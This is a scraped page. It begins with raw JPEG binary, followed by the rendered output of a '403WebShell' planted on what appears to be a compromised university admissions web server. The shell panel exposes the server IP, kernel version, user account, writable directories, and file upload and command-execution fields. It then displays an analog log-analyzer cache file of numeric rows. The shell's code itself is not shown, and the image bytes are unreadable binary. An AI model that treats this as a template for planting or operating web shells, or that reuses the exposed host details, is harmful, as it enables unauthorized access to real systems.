JFIFXX    $.' ",#(7),01444'9=82<.342  2!!22222222222222222222222222222222222222222222222222"4 ,PG"Z_4˷kjزZ,F+_z,© zh6٨icfu#ډb_N?wQ5-~I8TK<5oIv-k_U_~bMdӜUHh?]EwQk{_}qFW7HTՑYF?_'ϔ_Ջt=||I 6έ"D/[k9Y8ds|\Ҿp6Ҵ].6znopM[mei$[soᘨ˸ nɜG-ĨUycP3.DBli;hjx7Z^NhN3u{:jx힞#M&jL P@_ P&o89@Sz6t7#Oߋ s}YfTlmrZ)'Nk۞pw\Tȯ?8`Oi{wﭹW[r Q4F׊3m&L=h3z~#\l :F,j@ ʱwQT8"kJO6֚l}R>ډK]y&p}b;N1mr$|7>e@BTM*-iHgD) Em|ؘbҗaҾt4oG*oCNrPQ@z,|?W[0:n,jWiEW$~/hp\?{(0+Y8rΟ+>S-SVN;}s?. w9˟<Mq4Wv'{)01mBVW[8/< %wT^5b)iM pgN&ݝVO~qu9 !J27$O-! :%H ـyΠM=t{!S oK8txA& j0 vF Y|y ~6@c1vOpIg4lODL Rcj_uX63?nkWyf;^*B @~a`Eu+6L.ü>}y}_O6͐:YrGXkGl^w~㒶syIu! W XN7BVO!X2wvGRfT#t/?%8^WaTGcLMI(J1~8?aT ]ASE(*E} 2#I/׍qz^t̔bYz4xt){ OH+(EA&NXTo"XC')}Jzp ~5}^+6wcQ|LpdH}(.|kc4^"Z?ȕ a<L!039C EuCFEwç ;n?*oB8bʝ'#RqfM}7]s2tcS{\icTx;\7KPʇ Z O-~c>"?PEO8@8GQgaՎ󁶠䧘_%#r>1zaebqcPѵn#L =׀t L7`VA{C:ge@w1 Xp3c3ġpM"'-@n4fGB3DJ8[JoߐgK)ƛ$ 83+ 6ʻ SkI*KZlT _`?KQKdB`s}>`*>,*@JdoF*弝O}ks]yߘc1GV<=776qPTtXԀ!9*44Tހ3XΛex46YD  BdemDa\_l,G/֌7Y](xTt^%GE4}bTڹ;Y)BQu>J/J ⮶.XԄjݳ+Ed r5_D1 o Bx΢#<W8R6@gM. drD>(otU@x=~v2 ӣdoBd3eO6㣷ݜ66YQz`S{\P~z m5{J/L1xO\ZFu>ck#&:`$ai>2ΔloF[hlEܺΠk:)` $[69kOw\|8}ބ:񶐕IA1/=2[,!.}gN#ub ~݊}34qdELc$"[qU硬g^%B zrpJru%v\h1Yne`ǥ:gpQM~^Xi `S:V29.PV?Bk AEvw%_9CQwKekPؠ\;Io d{ ߞoc1eP\ `E=@KIRYK2NPlLɀ)&eB+ь( JTx_?EZ }@ 6U뙢طzdWIn` D噥[uV"G&Ú2g}&m?ċ"Om# {ON"SXNeysQ@FnVgdX~nj]J58up~.`r\O,ư0oS _Ml4kv\JSdxSW<AeIX$Iw:Sy›R9Q[,5;@]%u@ *rolbI  +%m:͇ZVủθau,RW33 dJeTYE.Mϧ-oj3+yy^cVO9NV\nd1 !͕_)av;թMlWR1)ElP;yوÏu 3k5Pr6<⒲l!˞*u־n!l:UNW %Chx8vL'X@*)̮ˍ D-M+JUkvK+x8cY?Ԡ~3mo|u@[XeYC\Kpx8oCC&N~3-H MXsu<`~"WL$8ξ3a)|:@m\^`@ҷ)5p+6p%i)P Mngc#0AruzRL+xSS?ʮ}()#tmˇ!0}}y$6Lt;$ʳ{^6{v6ķܰgVcnn ~zx«,2u?cE+ȘH؎%Za)X>uWTzNyosFQƤ$*&LLXL)1" LeOɟ9=:tZcŽY?ӭVwv~,Yrۗ|yGaFC.+ v1fήJ]STBn5sW}y$~z'c 8  ,! pVNSNNqy8z˱A4*'2n<s^ǧ˭PJޮɏUGLJ*#i}K%,)[z21z ?Nin1?TIR#m-1lA`fT5+ܐcq՝ʐ,3f2Uեmab#ŠdQy>\)SLYw#.ʑf ,"+w~N'cO3FN<)j&,- љ֊_zSTǦw>?nU仆Ve0$CdrP m׈eXmVu L.bֹ [Դaզ*\y8Է:Ez\0KqC b̘cөQ=0YsNS.3.Oo:#v7[#߫ 5܎LEr49nCOWlG^0k%;YߝZǓ:S#|}y,/kLd TA(AI$+I3;Y*Z}|ӧOdv..#:nf>>ȶITX 8y"dR|)0=n46ⲑ+ra ~]R̲c?6(q;5% |uj~z8R=XIV=|{vGj\gcqz؋%Mߍ1y#@f^^>N#x#۹6Y~?dfPO{P4Vu1E1J *|%JN`eWuzk M6q t[ gGvWIGu_ft5j"Y:Tɐ*; e54q$C2d} _SL#mYpO.C;cHi#֩%+) ӍƲVSYźg |tj38r|V1#;.SQA[S#`n+$$I P\[@s(EDzP])8G#0B[ىXIIq<9~[Z멜Z⊔IWU&A>P~#dp]9 "cP Md?٥Ifتuk/F9c*9Ǎ:ØFzn*@|Iށ9N3{'['ͬҲ4#}!V Fu,,mTIkv C7vB6kT91*l '~ƞFlU'M ][ΩũJ_{iIn$L jOdxkza۪#EClx˘oVɞljr)/,߬hL#^Lф,íMƁe̩NBLiLq}(q6IçJ$WE$:=#(KBzђ xlx?>Պ+>W,Ly!_DŌlQ![ SJ1ƐY}b,+Loxɓ)=yoh@꥟/Iѭ=Py9 ۍYӘe+pJnϱ?V\SO%(t =?MR[Șd/ nlB7j !;ӥ/[-A>dNsLj ,ɪv=1c.SQO3UƀܽE̻9GϷD7(}Ävӌ\y_0[w <΍>a_[0+LF.޺f>oNTq;y\bՃyjH<|q-eɏ_?_9+PHp$[uxK wMwNی'$Y2=qKBP~Yul:[<F12O5=d]Ysw:ϮEj,_QXz`H1,#II dwrP˂@ZJVy$\y{}^~[:NߌUOdؾe${p>G3cĖlʌ ת[`ϱ-WdgIig2 }s ؤ(%#sS@~3XnRG~\jc3vӍLM[JBTs3}jNʖW;7ç?=XF=-=qߚ#='c7ڑWI(O+=:uxqe2zi+kuGR0&eniT^J~\jyp'dtGsO39* b#Ɋ p[BwsT>d4ۧsnvnU_~,vƜJ1s QIz)(lv8MU=;56Gs#KMP=LvyGd}VwWBF'à ?MHUg2 !p7Qjڴ=ju JnA suMeƆҔ!)'8Ϣٔޝ(Vpצ֖d=ICJǠ{qkԭ߸i@Ku|p=..*+xz[Aqġ#s2aƊRR)*HRsi~a &fMP-KL@ZXy'x{}Zm+:)) IJ-iu ܒH'L(7yGӜq j 6ߌg1go,kرtY?W,pefOQS!K۟cҒA|սj>=⬒˧L[ ߿2JaB~Ru:Q] 0H~]7ƼI(}cq 'ήETq?fabӥvr )o-Q_'ᴎoK;Vo%~OK *bf:-ťIR`B5!RB@ï u ̯e\_U_ gES3QTaxU<~c?*#]MW,[8Oax]1bC|踤Plw5V%){t<d50iXSUm:Z┵i"1^B-PhJ&)O*DcWvM)}Pܗ-q\mmζZ-l@}aE6F@&Sg@ݚM ȹ 4#p\HdYDoH"\..RBHz_/5˘6KhJRPmƶim3,#ccoqa)*PtRmk7xDE\Y閣_X<~)c[[BP6YqS0%_;Àv~| VS؇ 'O0F0\U-d@7SJ*z3nyPOm~P3|Yʉr#CSN@ ƮRN)r"C:: #qbY. 6[2K2uǦHYRQMV G$Q+.>nNHq^ qmMVD+-#*U̒ p욳u:IBmPV@Or[b= 1UE_NmyKbNOU}the`|6֮P>\2PVIDiPO;9rmAHGWS]J*_G+kP2KaZH'KxWMZ%OYDRc+o?qGhmdSoh\D|:WUAQc yTq~^H/#pCZTI1ӏT4"ČZ}`w#*,ʹ 0i課Om*da^gJ݅{le9uF#Tֲ̲ٞC"qߍ ոޑo#XZTp@ o8(jdxw],f`~|,s^f1t|m򸄭/ctr5s79Q4H1꠲BB@l9@C+wpxu£Yc9?`@#omHs2)=2.ljg9$YS%*LRY7Z,*=䷘$armoϰUW.|rufIGwtZwo~5 YյhO+=8fF)W7L9lM̘·Y֘YLf큹pRF99.A "wz=E\Z'a 2Ǚ#;'}G*l^"q+2FQ hjkŦ${ޮ-T٭cf|3#~RJt$b(R(rdx >U b&9,>%E\ Άe$'q't*אެb-|dSBOO$R+H)܎K1m`;J2Y~9Og8=vqD`K[F)k[1m޼cn]skz$@)!I x՝"v9=ZA=`Ɠi :E)`7vI}dYI_ o:obo 3Q&D&2= Ά;>hy.*ⅥSӬ+q&j|UƧ}J0WW< ۋS)jQRjƯrN)Gű4Ѷ(S)Ǣ8iW52No˓ ۍ%5brOnL;n\G=^UdI8$&h'+(cȁ߫klS^cƗjԌEꭔgFȒ@}O*;evWVYJ\]X'5ղkFb 6Ro՜mi Ni>J?lPmU}>_Z&KKqrIDՉ~q3fL:Se>E-G{L6pe,8QIhaXaUA'ʂs+טIjP-y8ۈZ?J$WP Rs]|l(ԓsƊio(S0Y 8T97.WiLc~dxcE|2!XKƘਫ਼$((6~|d9u+qd^389Y6L.I?iIq9)O/뚅OXXVZF[یgQLK1RҖr@v#XlFНyS87kF!AsM^rkpjPDyS$Nqnxҍ!Uf!ehi2m`YI9r6 TFC}/y^Η5d'9A-J>{_l+`A['յϛ#w:݅%X}&PStQ"-\縵/$ƗhXb*yBS;Wջ_mcvt?2}1;qSdd~u:2k52R~z+|HE!)Ǟl7`0<,2*Hl-x^'_TVgZA'j ^2ΪN7t?w x1fIzC-ȖK^q;-WDvT78Z hK(P:Q- 8nZ܃e貾<1YT<,"6{/ ?͟|1:#gW>$dJdB=jf[%rE^il:BxSּ1հ,=*7 fcG#q eh?27,!7x6nLC4x},GeǝtC.vS F43zz\;QYC,6~;RYS/6|25vTimlv& nRh^ejRLGf? ۉҬܦƩ|Ȱ>3!viʯ>vオX3e_1zKȗ\qHS,EW[㺨uch⍸O}a>q6n6N6qN ! 1AQaq0@"2BRb#Pr3C`Scst$4D%Td ?Na3mCwxAmqmm$4n淿t'C"wzU=D\R+wp+YT&պ@ƃ3ޯ?AﶂaŘ@-Q=9Dռѻ@MVP܅G5fY6# ?0UQ,IX(6ڵ[DIMNލc&υj\XR|,4 jThAe^db#$]wOӪ1y%LYm뭛CUƃߜ}Cy1XνmF8jI]HۺиE@Ii;r8ӭVFՇ| &?3|xBMuSGe=Ӕ#BE5GY!z_eqр/W>|-Ci߇t1ޯќdR3ug=0 5[?#͏qcfH{ ?u=??ǯ}ZzhmΔBFTWPxs}G93 )gGR<>r h$'nchPBjJҧH -N1N?~}-q!=_2hcMlvY%UE@|vM2.Y[|y"EïKZF,ɯ?,q?vM 80jx";9vk+ ֧ ȺU?%vcVmA6Qg^MA}3nl QRNl8kkn'(M7m9وq%ޟ*h$Zk"$9: ?U8Sl,,|ɒxH(ѷGn/Q4PG%Ա8N! &7;eKM749R/%lc>x;>C:th?aKXbheᜋ^$Iհ hr7%F$EFdt5+(M6tÜUU|zW=aTsTgdqPQb'm1{|YXNb P~F^F:k6"j! Ir`1&-$Bevk:y#ywI0x=D4tUPZHڠ底taP6b>xaQ# WeFŮNjpJ* mQN*I-*ȩFg3 5Vʊɮa5FO@{NX?H]31Ri_uѕ 0 F~:60p͈SqX#a5>`o&+<2D: ڝ$nP*)N|yEjF5ټeihyZ >kbHavh-#!Po=@k̆IEN@}Ll?jO߭ʞQ|A07xwt!xfI2?Z<ץTcUj]陎Ltl }5ϓ$,Omˊ;@OjEj(ا,LXLOЦ90O .anA7j4 W_ٓzWjcBy՗+EM)dNg6y1_xp$Lv:9"zpʙ$^JԼ*ϭo=xLj6Ju82AH3$ٕ@=Vv]'qEz;I˼)=ɯx /W(Vp$ mu񶤑OqˎTr㠚xsrGCbypG1ߠw e8$⿄/M{*}W]˷.CK\ުx/$WPwr |i&}{X >$-l?-zglΆ(FhvS*b߲ڡn,|)mrH[a3ר[13o_U3TC$(=)0kgP u^=4 WYCҸ:vQרXàtkm,t*^,}D* "(I9R>``[~Q]#afi6l86:,ssN6j"A4IuQ6E,GnHzSHOuk5$I4ؤQ9@CwpBGv[]uOv0I4\yQѸ~>Z8Taqޣ;za/SI:ܫ_|>=Z8:SUIJ"IY8%b8H:QO6;7ISJҌAά3>cE+&jf$eC+z;V rʺmyeaQf&6ND.:NTvm<- uǝ\MvZYNNT-A>jr!SnO 13Ns%3D@`ܟ 1^c< aɽ̲Xë#w|ycW=9I*H8p^(4՗karOcWtO\ƍR8'KIQ?5>[}yUײ -h=% qThG2)"ו3]!kB*pFDlA,eEiHfPs5H:Փ~H0DتDIhF3c2E9H5zԑʚiX=:mxghd(v׊9iSOd@0ڽ:p5h-t&Xqӕ,ie|7A2O%PEhtjY1wЃ!  ࢽMy7\a@ţJ 4ȻF@o̒?4wx)]P~u57X 9^ܩU;Iꭆ 5 eK27({|Y׎ V\"Z1 Z}(Ǝ"1S_vE30>p; ΝD%xW?W?vo^Vidr[/&>~`9Why;R ;;ɮT?r$g1KACcKl:'3 cﳯ*"t8~l)m+U,z`(>yJ?h>]vЍG*{`;y]IT ;cNUfo¾h/$|NS1S"HVT4uhǜ]v;5͠x'C\SBplh}N ABx%ޭl/Twʽ]D=Kžr㻠l4SO?=k M: cCa#ha)ѐxcsgPiG{+xQI= zԫ+ 8"kñj=|c yCF/*9жh{ ?4o kmQNx;Y4膚aw?6>e]Qr:g,i"ԩA*M7qB?ӕFhV25r[7 Y }LR}*sg+xr2U=*'WSZDW]WǞ<叓{$9Ou4y90-1'*D`c^o?(9uݐ'PI& fJݮ:wSjfP1F:X H9dԯ˝[_54 }*;@ܨ ðynT?ןd#4rGͨH1|-#MrS3G3).᧏3vz֑r$G"`j 1tx0<ƆWh6y6,œGagAyb)hDß_mü gG;evݝnQ C-*oyaMI><]obD":GA-\%LT8c)+y76oQ#*{(F⽕y=rW\p۩cA^e6KʐcVf5$'->ՉN"F"UQ@fGb~#&M=8טJNu9D[̤so~ G9TtW^g5y$bY'سǴ=U-2 #MCt(i lj@Q 5̣i*OsxKf}\M{EV{υƇ);HIfeLȣr2>WIȂ6ik 5YOxȺ>Yf5'|H+98pjn.OyjY~iw'l;s2Y:'lgꥴ)o#'SaaKZ m}`169n"xI *+ }FP"l45'ZgE8?[X7(.Q-*ތL@̲v.5[=t\+CNܛ,gSQnH}*FG16&:t4ُ"Ạ$b |#rsaT ]ӽDP7ո0y)e$ٕvIh'QEAm*HRI=: 4牢) %_iNݧl] NtGHL ɱg<1V,J~ٹ"KQ 9HS9?@kr;we݁]I!{ @G["`J:n]{cAEVʆ#U96j#Ym\qe4hB7Cdv\MNgmAyQL4uLjj9#44tl^}LnR!t±]rh6ٍ>yҏNfU  Fm@8}/ujb9he:AyծwGpΧh5l}3p468)Udc;Us/֔YX1O2uqs`hwgr~{ RmhN؎*q 42*th>#E#HvOq}6e\,Wk#Xb>p}դ3T5†6[@Py*n|'f֧>lư΂̺SU'*qp_SM 'c6m ySʨ;MrƋmKxo,GmPAG:iw9}M(^V$ǒѽ9| aJSQarB;}ٻ֢2%Uc#gNaݕ'v[OY'3L3;,p]@S{lsX'cjwk'a.}}& dP*bK=ɍ!;3ngΊUߴmt'*{,=SzfD Ako~Gaoq_mi}#mPXhύmxǍ΂巿zfQc|kc?WY$_Lvl߶c`?ljݲˏ!V6UЂ(A4y)HpZ_x>eR$/`^'3qˏ-&Q=?CFVR DfV9{8gnh(P"6[D< E~0<@`G6Hгcc cK.5DdB`?XQ2ٿyqo&+1^ DW0ꊩG#QnL3c/x 11[yxპCWCcUĨ80me4.{muI=f0QRls9f9~fǨa"@8ȁQ#cicG$Gr/$W(WV"m7[mAmboD j۳ l^kh׽ # iXnveTka^Y4BNĕ0 !01@Q"2AaPq3BR?@4QT3,㺠W[=JKϞ2r^7vc:9 EߴwS#dIxu:Hp9E! V 2;73|F9Y*ʬFDu&y؟^EAA(ɩ^GV:ݜDy`Jr29ܾ㝉[E;FzxYGUeYC v-txIsםĘqEb+P\ :>iC';k|zرny]#ǿbQw(r|ӹs[D2v-%@;8<a[\o[ϧwI!*0krs)[J9^ʜp1) "/_>o<1AEy^C`x1'ܣnps`lfQ):lb>MejH^?kl3(z:1ŠK&?Q~{ٺhy/[V|6}KbXmn[-75q94dmc^h X5G-}دBޟ |rtMV+]c?-#ڛ^ǂ}LkrOu>-Dry D?:ޞUǜ7V?瓮"#rչģVR;n/_ ؉vݶe5db9/O009G5nWJpA*r9>1.[tsFnQ V 77R]ɫ8_0<՜IFu(v4Fk3E)N:yڮeP`1}$WSJSQNjٺ޵#lј(5=5lǏmoWv-1v,Wmn߀$x_DȬ0¤#QR[Vkzmw"9ZG7'[=Qj8R?zf\a=OU*oBA|G254 p.w7  &ξxGHp B%$gtЏ򤵍zHNuЯ-'40;_3 !01"@AQa2Pq#3BR?ʩcaen^8F<7;EA{EÖ1U/#d1an.1ě0ʾRh|RAo3m3 % 28Q yφHTo7lW>#i`qca m,B-j݋'mR1Ήt>Vps0IbIC.1Rea]H64B>o]($Bma!=?B KǾ+Ծ"nK*+[T#{EJSQs5:U\wĐf3܆&)IԆwE TlrTf6Q|Rh:[K zc֧GC%\_a84HcObiؖV7H )*ģK~Xhչ04?0 E<}3#u? |gS6ꊤ|I#Hڛ աwX97Ŀ%SLy6č|Fa 8b$sקhb9RAu7˨pČ_\*w묦F 4D~f|("mNKiS>$d7SlA/²SL|6N}S˯g]6; #. 403WebShell
403Webshell
Server IP : 43.205.77.33  /  Your IP : 216.73.216.140
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els13.x86_64 #1 SMP Fri Nov 22 06:29:45 UTC 2024 x86_64
User : ksclnmuac ( 1023)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/ksclnmuac/tmp/analog/admission.ksclnmu.ac.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/ksclnmuac/tmp/analog/admission.ksclnmu.ac.in/cache
CACHE type 5 produced by analog 6.0/Unix. Do not modify or delete!
T	0	0	4700	1184	26523	10574	73058383
D	27759092	29219677
19277	42	1	0	64
19278	42	1	0	64
19279	42	1	0	64
19280	42	1	0	64
19281	42	1	0	64
19282	42	1	0	64
19283	42	1	0	64
19284	42	1	0	64
19285	42	1	0	64
19286	42	1	0	64
19287	42	1	0	64
19288	42	1	0	64
19289	42	2	0	141
19290	42	1	0	64
19290	43	1	0	77
19291	42	1	0	64
19291	43	1	0	77
19292	42	1	0	64
19292	43	1	0	77
19293	42	1	0	64
19293	43	1	0	77
19294	42	1	0	64
19294	43	2	0	154
19295	42	1	0	64
19296	42	1	0	64
19297	42	1	0	64
19298	42	1	0	64
19299	42	1	0	64
19300	42	1	0	64
19301	42	1	0	64
19302	42	1	0	64
19303	42	1	0	64
19304	42	1	0	64
19305	42	1	0	64
19306	42	1	0	64
19307	42	1	0	64
19308	42	1	0	64
19309	42	1	0	64
19310	42	1	0	64
19311	42	1	0	64
19312	42	1	0	64
19313	42	1	0	64
19314	42	1	0	64
19315	42	1	0	64
19316	42	1	0	64
19317	42	1	0	64
19318	42	1	0	64
19319	42	1	0	64
19320	42	1	0	64
19321	42	1	0	64
19322	42	1	0	64
19323	42	1	0	64
19324	42	1	0	64
19325	42	1	0	64
19326	42	1	0	64
19327	42	1	0	64
19328	42	1	0	64
19329	42	1	0	64
19330	42	1	0	64
19331	42	1	0	64
19332	42	1	0	64
19333	42	1	0	64
19334	42	1	0	64
19335	42	1	0	64
19336	42	1	0	64
19337	42	1	0	64
19338	42	1	0	64
19339	42	1	0	64
19340	42	1	0	64
19341	42	1	0	64
19342	42	1	0	64
19343	42	1	0	64
19344	42	1	0	64
19345	42	1	0	64
19346	42	1	0	64
19347	42	1	0	64
19348	42	1	0	64
19349	42	1	0	64
19350	42	1	0	64
19351	42	1	0	64
19352	42	1	0	64
19353	42	1	0	64
19354	42	1	0	64
19355	42	1	0	64
19356	42	1	0	64
19357	42	1	0	64
19358	42	1	0	64
19359	42	1	0	64
19360	42	1	0	64
19361	42	1	0	64
19362	42	1	0	64
19363	42	1	0	64
19364	42	1	0	64
19365	42	1	0	64
19366	42	1	0	64
19367	42	1	0	64
19368	42	1	0	64
19369	42	1	0	64
19370	42	1	0	64
19370	45	1	0	77
19371	42	1	0	64
19371	45	1	0	77
19372	42	1	0	64
19372	46	1	0	77
19373	42	1	0	64
19373	45	1	0	77
19374	42	1	0	64
19374	45	1	0	77
19375	42	1	0	64
19375	46	1	0	77
19376	42	1	0	64
19376	45	1	0	77
19377	42	1	0	64
19377	43	1	0	77
19378	42	1	0	64
19378	43	2	0	154
19379	42	1	0	64
19380	42	1	0	64
19381	42	1	0	64
19382	42	1	0	64
19383	42	1	0	64
19384	42	1	0	64
19385	42	1	0	64
19386	42	1	0	64
19387	42	1	0	64
19388	42	1	0	64
19389	42	1	0	64
19390	42	1	0	64
19391	42	1	0	64
19392	42	1	0	64
19393	42	1	0	64
19394	42	1	0	64
19395	42	1	0	64
19396	42	1	0	64
19397	42	1	0	64
19398	42	1	0	64
19399	42	1	0	64
19400	42	1	0	64
19401	42	1	0	64
19402	42	1	0	64
19403	42	1	0	64
19405	42	1	0	64
19406	42	1	0	64
19407	42	1	0	64
19407	123	1	1	33964
19408	42	1	0	64
19409	42	1	0	64
19410	42	1	0	64
19411	42	1	0	64
19412	42	1	0	64
19412	85	1	0	64
19413	42	1	0	64
19414	42	1	0	64
19416	42	1	0	64
19417	42	1	0	64
19418	42	1	0	64
19419	42	1	0	64
19420	42	1	0	64
19421	42	1	0	64
19422	42	1	0	64
19424	42	1	0	64
19425	42	1	0	64
19426	42	1	0	64
19427	42	1	0	64
19427	49	1	0	64
19428	42	1	0	64
19429	42	1	0	64
19430	42	1	0	64
19431	42	1	0	64
19432	42	1	0	64
19433	42	1	0	64
19434	42	1	0	64
19435	42	1	0	64
19436	42	1	0	64
19437	42	1	0	64
19438	42	1	0	64
19439	42	1	0	64
19440	42	1	0	64
19441	42	1	0	64
19442	42	1	0	64
19443	42	1	0	64
19445	42	1	0	64
19446	42	1	0	64
19447	42	1	0	64
19448	42	1	0	64
19449	42	1	0	64
19450	42	1	0	64
19451	42	1	0	64
19452	42	1	0	64
19453	42	1	0	64
19454	42	1	0	64
19454	43	2	0	154
19455	42	1	0	64
19456	42	1	0	64
19457	42	1	0	64
19458	42	1	0	64
19459	42	1	0	64
19460	42	1	0	64
19461	42	1	0	64
19462	42	1	0	64
19463	42	1	0	64
19464	42	1	0	64
19465	42	1	0	64
19466	42	1	0	64
19467	42	1	0	64
19468	42	1	0	64
19469	42	1	0	64
19470	42	1	0	64
19471	42	1	0	64
19472	42	1	0	64
19473	42	1	0	64
19474	42	1	0	64
19475	42	1	0	64
19476	42	1	0	64
19477	42	1	0	64
19478	42	1	0	64
19479	42	1	0	64
19480	42	1	0	64
19481	42	1	0	64
19483	43	1	0	64
19484	44	1	0	64
19485	43	1	0	64
19486	43	1	0	64
19487	43	1	0	64
19488	43	1	0	64
19489	43	1	0	64
19490	43	1	0	64
19491	43	1	0	64
19492	43	1	0	64
19493	43	1	0	64
19494	43	1	0	64
19495	43	1	0	64
19496	43	1	0	64
19497	43	1	0	64
19498	43	1	0	64
19499	43	1	0	64
19500	43	1	0	64
19501	43	1	0	64
19502	43	1	0	64
19503	43	1	0	64
19504	43	1	0	64
19505	43	1	0	64
19506	43	1	0	64
19507	43	1	0	64
19508	43	1	0	64
19509	43	1	0	64
19510	43	1	0	64
19511	44	1	0	64
19512	43	1	0	64
19513	43	1	0	64
19514	43	1	0	64
19515	43	1	0	64
19516	43	1	0	64
19517	43	1	0	64
19518	43	1	0	64
19519	43	1	0	64
19520	43	1	0	64
19521	43	1	0	64
19522	43	1	0	64
19523	43	1	0	64
19524	43	1	0	64
19525	43	1	0	64
19526	43	1	0	64
19527	43	1	0	64
19528	43	1	0	64
19529	43	1	0	64
19530	43	1	0	64
19530	44	1	0	77
19531	43	1	0	64
19531	44	1	0	77
19532	43	1	0	64
19532	44	2	0	154
19533	43	1	0	64
19534	43	1	0	64
19535	43	1	0	64
19536	43	1	0	64
19537	43	1	0	64
19538	43	1	0	64
19539	43	1	0	64
19540	43	1	0	64
19541	43	1	0	64
19542	43	1	0	64
19543	43	1	0	64
19544	43	1	0	64
19545	43	1	0	64
19546	44	1	0	64
19547	43	1	0	64
19548	43	1	0	64
19549	43	1	0	64
19550	43	1	0	64
19551	43	1	0	64
19552	43	1	0	64
19553	43	1	0	64
19554	43	1	0	64
19555	43	1	0	64
19556	43	1	0	64
19557	43	1	0	64
19558	43	1	0	64
19559	43	1	0	64
19560	43	1	0	64
19561	43	1	0	64
19562	43	1	0	64
19563	43	1	0	64
19564	43	1	0	64
19565	43	1	0	64
19566	43	1	0	64
19567	43	1	0	64
19568	43	1	0	64
19569	43	1	0	64
19570	43	1	0	64
19570	199	1	1	447
19571	43	1	0	64
19571	110	1	1	447
19572	44	1	0	64
19573	43	1	0	64
19574	43	1	0	64
19575	43	1	0	64
19575	184	1	1	447
19575	231	1	1	447
19576	43	1	0	64
19576	63	1	1	447
19576	192	1	1	447
19576	198	1	1	447
19576	247	1	1	447
19576	265	1	1	447
19577	43	1	0	64
19577	179	1	1	447
19577	270	1	1	447
19578	43	1	0	64
19578	115	1	1	447
19578	129	1	1	447
19578	163	2	2	894
19579	36	1	1	447
19579	44	1	0	64
19579	127	1	1	447
19580	33	1	1	447
19580	43	1	0	64
19580	160	1	1	447
19581	43	1	0	64
19581	86	1	1	447
19582	43	1	0	64
19583	43	1	0	64
19584	43	1	0	64
19584	210	3	3	1341
19584	226	1	1	447
19585	43	1	0	64
19585	231	1	1	447
19586	43	1	0	64
19586	56	1	1	447
19587	43	1	0	64
19588	43	1	0	64
19589	43	1	0	64
19590	43	1	0	64
19591	43	1	0	64
19592	43	1	0	64
19593	43	1	0	64
19594	43	1	0	64
19595	43	1	0	64
19596	43	1	0	64
19597	43	1	0	64
19598	43	1	0	64
19599	43	1	0	64
19600	43	1	0	64
19601	43	1	0	64
19602	43	1	0	64
19603	43	1	0	64
19604	43	1	0	64
19605	43	1	0	64
19606	43	1	0	64
19607	43	1	0	64
19608	43	1	0	64
19608	44	2	0	154
19609	44	1	0	64
19610	43	1	0	64
19611	44	1	0	64
19612	43	1	0	64
19613	43	1	0	64
19614	43	1	0	64
19615	43	1	0	64
19616	43	1	0	64
19617	43	1	0	64
19618	43	1	0	64
19619	43	1	0	64
19620	43	1	0	64
19622	43	1	0	64
19623	43	1	0	64
19624	43	1	0	64
19625	43	1	0	64
19626	43	1	0	64
19627	43	1	0	64
19628	43	1	0	64
19629	43	1	0	64
19630	43	1	0	64
19631	43	1	0	64
19632	43	1	0	64
19633	43	1	0	64
19634	43	1	0	64
19635	44	1	0	64
19636	43	1	0	64
19637	43	1	0	64
19638	43	1	0	64
19639	43	1	0	64
19640	43	1	0	64
19641	43	1	0	64
19642	43	1	0	64
19643	43	1	0	64
19644	43	1	0	64
19645	43	1	0	64
19646	43	1	0	64
19647	43	1	0	64
19648	43	1	0	64
19649	44	1	0	64
19650	43	1	0	64
19651	43	1	0	64
19652	43	1	0	64
19653	43	1	0	64
19654	43	1	0	64
19655	43	1	0	64
19656	43	1	0	64
19657	43	1	0	64
19658	43	1	0	64
19659	43	1	0	64
19660	44	1	0	64
19661	43	1	0	64
19662	43	1	0	64
19663	43	1	0	64
19664	43	1	0	64
19665	43	1	0	64
19666	43	1	0	64
19667	43	1	0	64
19668	43	1	0	64
19669	43	1	0	64
19670	43	1	0	64
19671	43	1	0	64
19672	43	1	0	64
19673	43	1	0	64
19674	43	1	0	64
19679	43	1	0	64
19680	43	1	0	64
19681	43	1	0	64
19682	43	1	0	64
